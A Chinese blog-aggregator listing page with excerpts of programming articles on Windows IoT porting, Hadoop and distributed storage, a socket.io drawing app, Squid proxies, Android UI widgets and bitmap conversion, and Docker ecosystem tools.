首页 文章 精选 留言 我的

精选列表

搜索[notepad  ],共10025篇文章
优秀的个人博客,低调大师

【Windows10 IoT开发系列】API 移植工具

原文: 【Windows10IoT开发系列】API移植工具 Windows 10 IoT Core 中是否提供你的当前 Win32 应用程序或库所依赖的 API? 如果不提供,是否存在可使用的等效 API? 此工具可以为你回答这些问题,并协助你将你的当前 Win32 应用程序和库迁移到 Windows IoT Core。 Windows 10 IoT 核心版 API 移植工具可在ms-iot/iot-utilities github 存储库中找到。下载存储库zip并将 IoTAPIPortingTool 文件夹复制到本地计算机。在 Visual Studio 2015 中打开IoTAPIPortingTool.sln并生成项目。这将生成IotAPIPortingTool.exe。 可通过运行IoTAPIPortingTool.exe [-os]使用该工具。 应提供你的 exe 和/或 dll 文件所在的目录的路径。 如果你不计划使用 UWP,应指定 -os 。默认情况下,该工具针对 WindowsUWP 平台验证你的二进制文件。 Note:IoTAPIPortingTool.exe must be run from a Visual Studio​Developer Command Prompt. 该工具将生成名为IoTAPIPortingTool.csv (如果已指定操作系统则为IoTAPIPortingToolOS.csv)的逗号分隔的值 (csv) 文件,并且摘要将在命令行上。在 Excel 中打开 .csv文件来分析完整输出。 声明:本文主要资料来源为Windows 开发人员中心。

优秀的个人博客,低调大师

【分布式计算】DFS && BigTable

1.背景 分布式计算的发迹应该是google在2003年发表的三篇paper,分别是GFS、MapReduce、BigTable。其中MapReduce大家都很熟悉了,不懂的同学也可以看看我之前写的文章 【分布式计算】MapReduce的替代者-Parameter Server 为什么google会搞分布式计算这件事儿呢,因为在那个年代每天会产生几个T的日志,但是当时的磁盘只允许存储几百G的文件,07年之前淘宝的所有数据都是用完就删除的,因为没地方存。后来,人们认识到数据是值钱的,所以需要一种存储策略来存储大数据,于是google就用了分布式存储系统。 这里主要介绍下GFS和BigTable。 2.DFS(对应hadoop的HDFS) DFS是一种分布式文件存储系统。常规的文件系统是树状结构存储的,每个文件有一个指针指到磁盘上的某个区域。 早期

优秀的个人博客,低调大师

socket.io实践干货

一、前言 socket.io 实现了实时双向的基于事件的通讯机制,是基于 webSocket 的封装,但它不仅仅包括 webSocket,还对轮询(Polling)机制以及其它的实时通信方式封装成了通用的接口,并且在服务端实现了这些实时机制的相应代码 socket.io 是跨平台的,可以实现多平台的即时通讯 由于 iOS 端进行 socket 编程主要使用 GCDAsyncSocket 框架,但要实现 Android、iOS、web 多平台的通讯,还是选择统一的框架或协议比较好。 基本 api,使用 socket.on 来监听传过来的数据,使用 socket.emit 来发送数据 二、本例说明 服务器端采用 Nodejs 开启本地服务,统一使用 socket.io 对 iOS 端和 web 进行即时通讯,简单实现类似你猜我画的数据传输 效果 三、服务器端 使用 express 进行简单的搭建,设置模板引擎及静态服务,新手会遇到一个坑,就是路径的问题,一般使用 __dirname,来拼接绝对路径 // 模板引擎 app.set("views", path.join(__dirname, "/views/")); app.set("view engine", "ejs"); // 静态服务 app.use(express.static(path.join(__dirname, "/public/"))); app.use("/upload", express.static(path.join(__dirname, "/upload/"))); 使用 socket.io,来进行 socket 数据监听及数据广播,这是服务器端做的主要事情,本例中传输的数据及格式是自定义的,分为三种,一种是画笔画的路径(path),传输的是一系列的坐标点,一种是图片(img),传输的是 base64 字符串,另一种是发送的文字(text),传输的是字符串 var http = require('http').Server(app); var io = require('socket.io')(http); io.on('connection', function (socket) { console.log('one client connected'); // 连接成功,自己给自己发个空的信息,回调下 socket.emit('connection', null); // path socket.on('path', function (msg) { socket.broadcast.emit('path', msg); }); // img socket.on('img', function (msg) { socket.broadcast.emit('img', msg); }); // text socket.on('text', function (msg) { // 给出自己外的其他所有的 socket 广播 socket.broadcast.emit('text', msg); // 给所有的 socket 的广播,包括自己 // io.emit('text', msg); }); }); 四、web 关于笔画的传输:使用 canvas,进行画板的相关操作,并保存所有的路径的坐标点,然后 socket 传输 // canvas 绘图 // 拿到 canvas htmlElement // var canvas = document.getElementById("canvas"); var canvas = $("#canvas").get(0); // 创建上下文 var ctx = canvas.getContext("2d"); var colorArray = ["black", "red", "blue", "green"]; // 鼠标画图 canvas.onmousedown = function (e) { // 开始画 ctx.beginPath(); // ctx 属性设置 ctx.lineWidth = 3; ctx.lineCap = "round"; ctx.lineJoin = "round"; let randomNum = parseInt(Math.random() * colorArray.length); var mycolor = colorArray[randomNum]; ctx.strokeStyle = mycolor; // tmp 为装所有坐标点的数组 var tmp = []; var e = e || window.event; // 第一个坐标点 var point = { x: e.clientX - canvas.offsetLeft, y: e.clientY - canvas.offsetTop } ctx.moveTo(point.x, point.y); tmp.push(point); document.onmousemove = function (e) { var e = e || window.event; var point = { x: e.clientX - canvas.offsetLeft, y: e.clientY - canvas.offsetTop } ctx.lineTo(point.x, point.y); tmp.push(point); ctx.stroke(); }; document.onmouseup = function () { document.onmousemove = null; document.onmouseup = null; // socket 发送path var pathDataDict = { path: tmp, width: 3, color: randomNum, screenW: 400 } socket.emit("path", pathDataDict); }; }; 关于图片的传输:由于 input type="file" 拿不到本地的图片路径,所以采取先上传图片到服务器,再拿到图片路径,然后通过 canvas 画出来和用 canvas 转换为 base64,然后 socket 发送出去 这里采用 jquery.form 框架,使用 ajax 异步提交表单,新手有个坑,就是 form 里面提交按钮的 type 要设置为 button,不然就是 form submit了,页面会跳转的 $("#selImg").click(function () { // form 提交 $("#form").ajaxSubmit({ url: "http://127.0.0.1:5000", type: "post", dataType: 'json', success: function (data) { if (data.status == -1) { alert("请选择图片发送!"); return; } if (data.status == 1) { alert("图片上传失败!"); return; } // html Dom Element let image = new Image(); image.src = "http://127.0.0.1:5000/upload/" + data.status; image.onload = function () { ctx.drawImage(image, 0, 0, 400, 400); var base64Url = canvas.toDataURL("image/png"); let base64 = base64Url.toString() console.log(base64.substring(22)); socket.emit("img", base64.substring(22)); }; }, error: function (data) { } }); }); 关于文字,就很简单,直接 socket 发送字符串 关于数据的接收,这里要提到一个与 iOS 版 socket.io 不同的地方,在 iOS 端,发送数据是要把数据包装成一个数组的,如 [self.clientSocket emit:@"text" with:@[self.chatTextField.text]];,但在前端接收的数据就直接是 iOS 端数组里的对象,不用取数组第一个,但反过来,在 iOS 端就需要去数组里的第一个了,这里简单说下图片的接收吧,由于对 canvas 不熟,只能采取先创建一个临时的 img 标签展示 base64Url 的图片,然后在 canvas 接收 img 这个 HTMLElement,画出图片,最后删掉这个临时的 img 标签,如果有更好的方法可以留言 socket.on("img", function (msg) { console.log("img"); // base64 可以直接用<img>展示出来 ,获取 img 标签对象,可画出来 $(".caozuo").append("<img id='tmpImg' width='0' height='0' src='data:image/png;base64," + msg + "'></img>"); ctx.drawImage($("#tmpImg").get(0), 0, 0, 400, 400); $("#tmpImg").remove(); }); 五、iOS 这里官方最新的 socket.io 是只有 swift 版的,之前有旧的oc 版本,但支持的socket.io 是v0.9.x,参考链接 https://github.com/pkyeck/socket.IO-objc,但这很显然不是我想要的,于是开始混编吧 一开始参考了https://github.com/socketio/socket.io-client-swift/issues/393 里的做法,使用 carthage 打包好的 framework,但各种报错 想起之前 oc 调用 swfit 文件,先是直接把 swift 文件拖进工程,然后使用的时候就import "项目名称-swift.h"就行,不需要桥接文件什么的,但在 xcode8 下,貌似感觉还是需要桥接文件。具体做法如下 先拖进一个 swift 文件到 oc 工程里,xcode 会提示创建桥接文件,这里就让 xcode 自动创建桥接文件吧 然后把剩余的 socket.io-client-swift 框架 Source 文件夹里的剩余文件全部拖进 oc 工程 使用的时候就import "项目名称-swift.h" 在 iOS 端下,笔画路径坐标,就直接传输字典就行,我这里字典里包括笔画的颜色,坐标点数组,笔画的宽度及屏幕的宽度等信息,图片就直接传输 base64 的,文字就直接传输字符串,但要注意和 web 端的 socket.io 的区别,具体代码可参考 demo 链接 六、小 demo 地址 https://github.com/HOWIE-CH/-You-guess-I-painted-_socket 七、其他 使用 socket.io,感觉传输数据很方便,api 简单,也没有像 GCDAsyncSocket 传输数据会出现掉包的现象 对于服务器,Nodejs等,我也是新手,如果自己想玩一下的话,可以租国外性价比高的 vps,然后申请域名,可以采取使用 Nginx 做主服务,使用反向代理,这样可方便绑定自己的各种二级域名了,应用服务可以使用 Nodejs 或其他,也可以自己研究下 Nginx 的负载均衡技术了。对与国外 vps 的好处,大家都知道,还可搭建自己的科学上网环境等 谋胆并重

优秀的个人博客,低调大师

Squid普通代理&amp;&amp;透明代理&amp;&amp;反向代理学习

普通代理 背景 192.168.10.2 Windows Squid CentOS 202.168.10.2 CentOS 配置 Windows VM1网卡配置 Squid服务器 VM1网卡配置 Squid服务器 VM2网卡配置 Server VM2网卡配置 Squid安装 将原先的2000+行的配置文件squid.conf删除,自行建立一个squid.conf文件 自动建立缓存目录,在/var/spool/squid/,查看 Server设置 <html><body><h1>web-200.168.10.2</h1></body></html> 测试 Windows IE浏览器配置代理 查看日志 透明代理 背景 与普通代理相同,割了。 配置 Windows VM1网卡配置 其他不变。 Squid配置 添加iptables规则,把内部的http请求重定向到3128端口 测试 反向代理 背景 配置 Windows VM1网卡配置 Squid 服务器IP配置 WEB Server IP配置 squid.conf配置文件 测试 最后测试速度第一次打开网页火狐Firebug。 第一次之后 总结 普通代理只是个很简单的代理,如果是IT人员的话,知道怎么弄,但是对于非IT人员的话,很麻烦,可能要跟着教程走。所以这个不是很方便。所以就有了透明代理,这样无需在IE上设置便可以直接通过代理上网。至于反向代理,主要是为了提高速度而设置的。就像一个公司里面的员工,都通过这个代理访问出去的,第一个员工访问了腾讯的主页,因为他是全公司的第一个去访问的腾讯,那么网页返回的时间就比较长,同时反向代理把腾讯网页上的一些静态信息保存在自己主机上,那么第二次访问,那些静态的东西,比如图片、FLASH等就直接从反向代理服务器中取就OK了,速度就快了许多,上面的图也可以看出来。 本文转自我爱物联网博客园博客,原文链接:http://www.cnblogs.com/yydcdut/p/3532313.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

MapReduce&amp;&amp;Hadoop

高能性能计算(High Performance Computing, HPC)和网格计算(Grid Computing)组织多年以来一直在研究大规模数据处理,主要使用类似于消息传递接口(Message Passing Interface, MPI)的API。从广义上讲,高性能计算采用的方法是将作业分散到集群的各台服务器上,这些机器访问存储区域网络(SAN)所组成的共享文件系统。这比较适用于计算密集型的作业,但如果节点需要访问的数据量更庞大(高达几百GB,MapReduce开始施展他的方法),很多计算节点就会因为网络带宽的瓶颈问题不得步闲下来等数据。MapReduce尽量在计算节点上存储数据,以实现数据的本地快速访问。数据本地化(data locality)特性是MapReduc的核心特征,并因此而获得良好的性能。意识到网络带宽是数据中心环境最珍贵的资源之后,MapReduce通过显式网络拓扑结构来保留网络带宽。虽然MPI(MPI是一个跨语言的通讯协议,用于编写并行计算机。支持点对点和广播。MPI是一个信息传递应用程序接口,包括协议和和语义说明,他们指明其如何在各种实现中发挥其特性。MPI的目标是高性能,大规模性,和可移植性)赋予程序员很大的控制权,但需要程序员显式控制数据流机制,包括用C语言构造底层的功能模型和高层的数据分析算法。 志愿计算志愿者吧自己的计算机CPU的空闲时间贡献出来供分析无线一些需要的数据。志愿计算项目将问题分成很多块,每一块成为一个工作单元,发到世界各地的计算机上进行分析。MapReduce有三大目标:为只需要短短几分钟或几小时就可以完成的作业提供服务;运行于同一个内部有高速网络连接的数据中心内;数据中心内的计算机都是可靠的、定制的硬件。Hadoop项目:Common:一系列组件和接口,用于分布式文件系统和通用I/O(序列化、Java RPC<(Remote Procedure Call)——远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。> 和持久化数据结构) Avro:一种序列化系统,用于支持高效、跨语言的RPC和持久化数据存储MapReduce:分布式数据处理模型和执行环境,运行于大型商用机集群HDFS:分布式文件系统,运行于大型商用机集群Pig:数据流语言和运行环境,用以探究非常庞大的数据集。Pig运行在MapReduce和HDFS集群上Hive:一种分布式的、按列存储的数据仓库。Hive管理HDFS中存储的数据,并提供基于SQL的查询语言(由运行时引擎翻译成MapReduce作业)用以查询数据HBase:一种分布式的、按列存储的数据。HBase使用HDFS作为底层存储,同时支持MapReduce的批量式计算和点查询(随机读取)ZooKeeper:一种分布式的可用性搞得协调服务。ZooKeeper提供分布式锁之类的基本服务用于构建分布式应用Sqoop:该工具用于在结构化数据存储(如关系型数据库)和HDFS之间高效批量传输数据Oozie:该服务用于运行和调度Hadoop作业(如MapReduce,Pig,Hive及Sqoop作业)将Hadoop版本升级成另外一个版本时,需要仔细考虑需要升级步骤。同时还要考虑几个方面:API兼容性、数据兼容性和连接兼容性。API兼容性:考虑用户代码和发行的Hadoop API之间的对比,例如Java MapReduce API。住发行版本时允许破坏API兼容性的,因此用户的程序要修改并重新编译。次重点发行版本和单节点发行版本不应该破坏兼容性。数据兼容性:考虑持久数据和元数据的格式,这些修改对用户透明,因为系统升级时数据会自动迁移。系统升级路径有一些限制,这些限制包含在发行须知中。连接兼容性:主要考虑通过利用RPC和HTTP这样的连接协议来实现客户端和服务器之间的互操作性。有两类客户端:外部客户端和内部客户端。其中内部客户端在加锁状态进行升级,旧版本的无法与新版本的一起工作。

优秀的个人博客,低调大师

Android -- Spinner &amp;&amp; AutoCompleteTextView

Spinner 下拉选择框 Android给我们提供了一个Spinner控件,这个控件主要就是一个列表,Spinner位于 android.widget包下,每次只显示用户选中的元素,当用户再次点击时,会弹出选择列表供用户选择,而选择列表中的元素同样来自适配器。Spinner是View类得一个子类。 package com.yydcdut.spinnerstudy; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.widget.AdapterView; import android.widget.AdapterView.OnItemClickListener; import android.widget.AdapterView.OnItemSelectedListener; import android.widget.ArrayAdapter; import android.widget.Spinner; import android.widget.Toast; public class MainActivity extends Activity { private Spinner spinner; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); spinner = (Spinner) findViewById(R.id.spiiner); ArrayAdapter<String> adapter = new ArrayAdapter<String>( getApplicationContext(), android.R.layout.simple_spinner_item); adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); adapter.add("123"); adapter.add("321"); adapter.add("123321"); spinner.setAdapter(adapter); spinner.setOnItemSelectedListener(new OnItemSelectedListener() { @Override public void onItemSelected(AdapterView<?> parent, View view, int position, long id) { Spinner spinner1 = (Spinner) parent; String content = (String) spinner1.getItemAtPosition(position);// 取得与Spinner关联的列表数据的指定位置的数据 Toast.makeText(getApplicationContext(), "position-->" + position + "内容-->" + content, Toast.LENGTH_LONG).show(); } @Override public void onNothingSelected(AdapterView<?> parent) { // TODO 自动生成的方法存根 } }); } } 接下来我们通过更换adapter.setDropDownViewResource(android.R.layout.test_list_item);里面的xml参数来看一看弹出的样式,具体可以参考一下:http://hi.baidu.com/ihsauqaxblbdmwq/item/62fa237f935a6a580d0a0780 AutoCompleteTextView public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String[] names = { "z11", "z22", "z33", "a44", "a55" }; AutoCompleteTextView auto = (AutoCompleteTextView) findViewById(R.id.auto); ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, names); auto.setAdapter(adapter); } } AutoCompleteTextView是实现动态匹配输入的内容。如google搜索引擎当输入文本时可以根据内容显示匹配的热门信息。 虽然AutoCompleteTextView不是Android的常用控件,但是它的实用性还是很强的,具体的使用可以参考ApiDemos,对于基本的用法,它有很详细的说明。但是这些例子远远无法满足我们的需求,下面讲一下几个例子中没有涉及到的属性。 completionThreshold:它的值决定了你在AutoCompleteTextView至少输入几个字符,它才会具有自动提示的功能。另,默认最多提示20条。 dropDownAnchor:它的值是一个View的ID,指定后,AutoCompleteTextView会在这个View下弹出自动提示。 dropDownSelector:应该是设置自动提示的背景色之类的,没有尝试过,有待进一步考证。 dropDownWidth:设置自动提示列表的宽度。 我是天王盖地虎的分割线 源代码:http://pan.baidu.com/s/1dD1Qx01 spinner学习.zip autocompletetextview学习.zip 本文转自我爱物联网博客园博客,原文链接:http://www.cnblogs.com/yydcdut/p/3829539.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

Android -- Drawable &amp;&amp; Bitmap

Bitmap转Drawable Bitmap bm=xxx; BitmapDrawable bd=new BitmapDrawable(bm); 因为BtimapDrawable是Drawable的子类,最终直接使用bd对象即可。 Drawable转Bitmap Drawable d=xxx; BitmapDrawable bd = (BitmapDrawable) d; Bitmap bm = bd.getBitmap(); 最终bm就是我们需要的Bitmap对象了。 从资源中获取Bitmap public static Bitmap getBitmapFromResources(Activity act, int resId) { Resources res = act.getResources(); return BitmapFactory.decodeResource(res, resId); } byte[] → Bitmap public static Bitmap convertBytes2Bimap(byte[] b) { if (b.length == 0) { return null; } return BitmapFactory.decodeByteArray(b, 0, b.length); } Bitmap → byte[] public static byte[] convertBitmap2Bytes(Bitmap bm) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); bm.compress(Bitmap.CompressFormat.PNG, 100, baos); return baos.toByteArray(); } Drawable → Bitmap public static Bitmap convertDrawable2BitmapByCanvas(Drawable drawable) { Bitmap bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(),drawable.getIntrinsicHeight(),drawable.getOpacity() != PixelFormat.OPAQUE ? Bitmap.Config.ARGB_8888: Bitmap.Config.RGB_565); Canvas canvas = new Canvas(bitmap); // canvas.setBitmap(bitmap); drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight()); drawable.draw(canvas); return bitmap; } 我是天王盖地虎的分割线 本文转自我爱物联网博客园博客,原文链接:http://www.cnblogs.com/yydcdut/p/4080147.html,如需转载请自行联系原作者

优秀的个人博客,低调大师

TextView&amp;amp;EditText

super.onCreate(savedInstanceState);将布局xml文件引入到activity当中setContentView(R.layout.main_activity); 将布局文件与当前文件关联 wrap_content:包裹实际文本内容 match_parent:当前控件铺满父类容器:2.3api之后添加的一个属性值 fill_parent:当前控件铺满父类容器:在2.3api之前的一个属性 附代码: <TextView android:id="@+id/textView1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="姓名:" android:textSize="28sp" //文本大小经常用SP设置 android:textColor="#000000"/> <EditText android:hint="请输入你的姓名" android:id="@+id/editText1" android:layout_width="match_parent" android:layout_height="wrap_content" > 1. 使用findViewById方法获取一个View对象,参数为控件的id,同时还需要把findViewById返回的View对象强制转换成相应的类型。(TextView)this.findViewById(R.id.bookName)2. 一般情况下,布局属性与对象的setXXX方法一一对应,比如设置字体颜色,在xml中属性是android:textColor,而在Activity中则是setTextColor方法,(tv是TextView对象)tv.setTextColor(Color.RED)3. 设置EditText的android:inputType属性可以限制文本输入类型比如android:inputType="textPassword"为设置输入格式为密码格, android:inputType="phone"为设置输入格式为拨号键盘 <requestFocus /> </EditText>

优秀的个人博客,低调大师

Dock的生态开源技术(Etcd&amp;Machine&amp;Compose&amp;Swarm&amp;Mesos&amp;Kubernetes)

Etcd CoreOS公司开源的高可用分布式键值数据库Etcd,该项目已经被广泛应用到分布式系统的一致性实现和服务发现中,基于Go语言实现。 Etcd就是专门为集群环境设计,可以很好地实现数据一致性,提供集群节点状态管理和服务自动发现等(类似ZooKeeper)。 Etcd在进行设计的时候重点考虑了下面四个要素: 简单:支持REST风格的HTTP+JSON API; 安全:支持HTTPS方式的访问; 快速:支持并发每秒一千次的写操作; 可靠:支持分布式结构,基于Raft 通常情况下,用户使用Etcd可以在多个节点上启动多个实例,并将它们添加为一个集群。同一个集群中的Etcd实例将会自动保持彼此信息的一致性,这意味着分布在各个节点上的应用也将获取到一致的信息。 [1]Apache ZooKeeper是一套知名的分布式系统中进行同步和一致性管理的工具。 [2]doozer是一个一致性分布式数据库实现,主要面向少量数据,更多信息可以参考https://github.com/ha/doozerd。 [3]Raft是一套通过选举主节点来实现分布式系统一致性的算法,相比于大名鼎鼎的Paxos算法,它的算法过程相对容易理解,由Stanford大学的Diego Ongaro和John Ousterhout提出。更多细节可以参考https://raftconsensus.github.io。 主要操作: 数据操作,监听数据操作,目录操作,日志操作,用户操作,角色操作,认证操作,节点操作,集群操作。 Docker Machine Docker Machine是Docker官方三剑客项目之一,负责使用Docker的第一步,在多种平台上快速安装Docker环境。它支持多种平台,让用户可以在很短时间内搭建一套Docker主机集群。当要对多个Docker主机进行配置和管理时,采用Docker Machine将十分方便快捷。不仅提高了操作速度,更通过批量统一的管理减少了出错的可能。这是在大规模集群和云平台环境中所推荐的。配合Compose和Swarm,可以实现完整的Docker环境生命周期管理。 Machine项目是Docker官方的开源项目,负责实现对Docker主机本身进行管理,其代码在https://github.com/docker/machine上开源。 Machine项目主要由Go编写,用户可以在本地任意指定被Machine管理的Docker主机,并对其进行操作。Machine定位是“在本地或者云环境中创建Docker主机”。 其基本功能包括: 在指定节点上安装Docker引擎,配置其为Docker主机; 集中管理所有Docker主机。 Machine连接不同类型的节点是通过不同驱动指定的,目前已经支持了包括IBM、Amazon、Google等多家数据中心的云主机。 Docker Compose Compose项目是Docker官方的开源项目,基于Python语言实现,负责实现对Docker容器集群的快速编排。从功能上看,跟OpenStack中的Heat十分类似。其代码目前在https://github.com/docker/compose上开源。 编排(Orchestration)功能是复杂系统实现灵活可操作性的关键。特别是在Docker应用场景中,编排意味着用户可以灵活地对各种容器资源实现定义和管理。 作为Docker官方编排工具,Compose的重要性不言而喻,它可以让用户通过编写一个简单的模板文件,快速地创建和管理基于Docker容器的应用集群。 Compose定位是“定义和运行多个Docker容器的应用”,其前身是开源项目Fig,目前仍然兼容Fig格式的模板文件。我们知道使用一个Dockerfile模板文件,可以让用户很方便地定义一个单独的应用容器。然而,在日常工作中,经常会碰到需要多个容器相互配合来完成某项任务的情况。例如要实现一个Web项目,除了Web服务容器本身,往往还需要再加上后端的数据库服务容器,甚至还包括负载均衡容器等。Compose恰好满足了这样的需求。它允许用户通过一个单独的docker-compose.yml模板文件(YAML格式)来定义一组相关联的应用容器为一个项目(project)。 Compose中有两个重要的概念: 服务(service):一个应用的容器,实际上可以包括若干运行相同镜像的容器实例。 项目(project):由一组关联的应用容器组成的一个完整业务单元,在docker-compose.yml文件中定义。 Compose的默认管理对象是项目,通过子命令对项目中的一组容器进行便捷地生命周期管理。 Compose项目由Python编写,实现上调用了Docker服务提供的API来对容器进行管理。因此,只要所操作的平台支持Docker API,就可以在其上利用Compose来进行编排管理。 Docker Swarm Docker Swarm是Docker公司推出的官方容器集群平台,基于Go语言实现。 Docker Swarm是Docker官方的三剑客项目之一,提供Docker容器集群服务,是Docker官方对容器云生态进行支持的核心方案。使用它,用户可以将多个Docker主机封装为单个大型的虚拟Docker主机,快速打造一套容器云平台。 通过使用Swarm,用户可以将若干Docker主机节点组成的集群当作一个大的虚拟Docker主机使用。并且,原先基于单机的Docker应用可以无缝地迁移到Swarm上来。实现这些功能的前提是服务自动发现能力。在现代分布式系统中,服务的自动发现、注册、更新等能力将成为系统的基本保障和重要基础。在生产环境中,Swarm的管理节点和发现服务后端要采用高可用性的保护,可以采用集群模式。 作为容器集群管理器,Swarm最大的优势之一就是100%支持标准的Docker API。各种基于标准API的工具,如Compose、docker-py,各种管理软件,甚至Docker本身等都可以很容易地与Swarm进行集成。这大大方便了用户将原先基于单节点的系统移植到Swarm上。同时Swarm内置了对Docker网络插件的支持,用户可以很容易地部署跨主机的容器集群服务。 Swarm是典型的master-slave结构,通过发现服务来选举manager。manager是中心管理节点,各个node上运行agent接受manager的统一管理。在V2中,集群会自动通过Raft协议分布式选举出manager节点,无需额外的发现服务支持,避免了单点瓶颈。同时,V2中内置了基于DNS的负载均衡和对外部负载均衡机制的集成支持。 Mesos——优秀的集群资源调度平台 Mesos项目是源自UC Berkeley对集群资源进行抽象和管理的开源项目,类似于操作系统内核,用户可以使用它很容易地实现分布式应用的自动化调度。同时,Mesos自身也很好地结合了Docker等相关容器技术,基于Mesos已有的大量应用框架,可以实现用户应用的快速上线。 Mesos可以将整个数据中心的资源(包括CPU、内存、存储、网络等)进行抽象和调度,使得多个应用同时运行在集群中分享资源,并无需关心资源的物理分布情况。如果把数据中心中的集群资源看做一台服务器,那么Mesos要做的事情,其实就是今天操作系统内核的职责:“抽象资源+调度任务”。 Mesos项目主要由C++语言编写,项目官方地址为http://mesos.apache.org,代码仍在快速演化中。 Mesos拥有许多引人注目的特性,包括: 支持数万个节点的大规模场景(Apple、Twitter、eBay等公司的实践)。 支持多种应用框架,包括Marathon、Singularity、Aurora等。 支持HA(基于ZooKeeper实现)。 支持Docker、LXC等容器机制进行任务隔离。 提供了多个流行语言的API,包括Python、Java、C++等。 自带了简洁易用的WebUI,方便用户直接进行操作。 值得注意的是,Mesos自身只是一个资源抽象的平台,要使用它往往需要结合运行其上的分布式应用(在Mesos中被称作框架,framework),比如Hadoop、Spark、Marathon、Elasticsearch等大部分时候,用户只需要跟这些框架打交道即可,完全无需关心底下的资源调度情况,因为Mesos已经自动帮你实现了。这大大方便了上层应用的开发和运维。当然,用户也可以基于Mesos打造自己的分布式应用框架。 Mesos中有三个基本的组件:管理服务(master)、任务服务(slave)以及应用框架(framework)。 跟大部分分布式系统中类似,主节点(master)起到管理作用,将看到全局的信息,负责不同应用框架之间的资源调度和逻辑控制。应用框架需要注册到管理服务上才能被使用。用户和应用需要通过主节点提供的API来获取集群状态和操作集群资源。 slave负责汇报本从节点上的资源状态(空闲资源、运行状态等等)给主节点,并负责隔离本地资源来执行主节点分配的具体任务。隔离机制目前包括各种容器机制,包括LXC、Docker等。 应用框架(framework)是实际干活的,包括两个主要组件: 调度器(scheduler):注册到主节点,等待分配资源; 执行器(executor):在从节点上执行框架指定的任务(框架也可以使用Mesos自带的执行器,包括shell脚本执行器和Docker执行器)。 应用框架可以分两种:一种是对资源的需求,是会扩展的(如Hadoop、Spark等),申请后还可能调整;另一种是对资源需求大小是固定的(如MPI等),一次申请即可。 Kubernetes——生产级容器集群平台 Kubernetes是Google团队发起并维护的开源容器集群管理系统,支持如Docker等容器技术。类似Docker Swarm,使用Kubernetes,用户可以轻松搭建和管理一个私有容器云。该项目基于Go语言实现,试图为基于容器的应用部署和管理打造一套强大并且易用的管理平台。 Kubernetes拥有鲜明的技术优势: 优秀的API设计,以及简洁高效的架构设计,主要组件个数很少,彼此之间通过接口调用; 基于微服务模式的多层资源抽象模型,兼顾灵活性与可操作性,提出的Pod模型被许多平台借鉴; 可拓展性好,模块化容易替换,伸缩能力极佳,1.2.0版本单集群支持1000个节点,同时运行30000个Pods; 自动化程度高,真正实现“所得即所需”,用户通过模板声明服务后,生命周期都是自动化管理; 部署支持多种环境,包括虚拟机、裸机部署,还很好地支持常见云平台,包括AWS、GCE等; 支持丰富的运维工具,方便用户对集群进行性能测试、问题检查和状态监控; 自带控制台、客户端命令等工具,允许用户通过多种方式与kubernetes集群进行交互。 基于Kubernetes,可以很容易地实现一套PaaS,比如Openshift和Deis。Kubernetes目前在github.com/kubernetes/kubernetes进行维护。 Kubernete模型中的核心概念。这些核心概念反映了Kubernetes设计过程中对应用容器集群的认知模型。 集群组件,从架构上看,Kubernetes集群(Cluster)也采用了典型的“主-从”架构。一个集群主要由管理组件(Master)和工作节点(Node)组件构成。 Kubernetes集群的主要任务始终围绕着应用的生命周期。通过将不同资源进行不同层次的抽象,Kubernetes提供了灵活可靠的生命周期管理。 资源的核心抽象主要包括: 容器组(Pod):由位于同一节点上若干容器组成,彼此共享网络命名空间和存储卷(Volume)。Pod是Kubernetes中进行管理的最小资源单位,是最为基础的概念。跟容器类似,Pod是短暂的,随时可变的; 服务(Service):若干(往往是同类型的)Pod形成的对外提供某个功能的抽象,不随Pod改变而变化,带有唯一固定的访问路径,如IP地址或者域名。 复制控制器(Replication Controller):负责启动Pod,并维护其健康运行的状态。是用户管理Pod的句柄。 部署(Deployment):创建Pod,并可根据参数自动创建管理Pod的复制控制器,并且支持升级。1.2.0版本引入提供比复制控制器更方便的操作; 横向Pod扩展器(Horizontal Pod Autoscaler,HPA):类似云里面的自动扩展组,根据Pod的使用率(典型如CPU)自动调整一个部署里面Pod的个数,保障服务可用性; 还有一些管理资源相关的辅助概念,主要包括: 注解(Annotation):键值对,可以存放大量任意数据,一般用来添加对资源对象的详细说明,可供其他工具处理。 标签(Label):键值对,可以标记到资源对象上,用来对资源进行分类和筛选; 名字(Name):用户提供给资源的别名,同类资源不能重名; 命名空间(Namespace):这里是指资源的空间,避免不同租户的资源发生命名冲突,另外可以进行资源限额; 持久卷(PersistentVolume):类似于Docker中数据卷的概念,就是一个数据目录,Pod对其有访问权限。 秘密数据(Secret):存放敏感数据,例如用户认证的口令等; 选择器(Selector):基于标签概念的一个正则表达式,可通过标签来筛选出一组资源; Daemon集(DaemonSet):确保节点上肯定运行某个Pod,一般用来采集日志和监控节点; 任务(Job):确保给定数目的Pod正常退出(完成了任务); 入口资源(Ingress Resource):用来提供七层代理服务; 资源限额(Resource Quotas):用来限制某个命名空间下对资源的使用,开始逐渐提供多租户支持; 安全上下文(Security Context):应用到容器上的系统安全配置,包括uid、gid、capabilities、SELinux角色等; 服务账号(Service Accounts):操作资源的用户账号。

优秀的个人博客,低调大师

MongoDB学习笔记(三)--权限 &amp;&amp; 导出导入备份恢复 &amp;&amp; fsync和锁

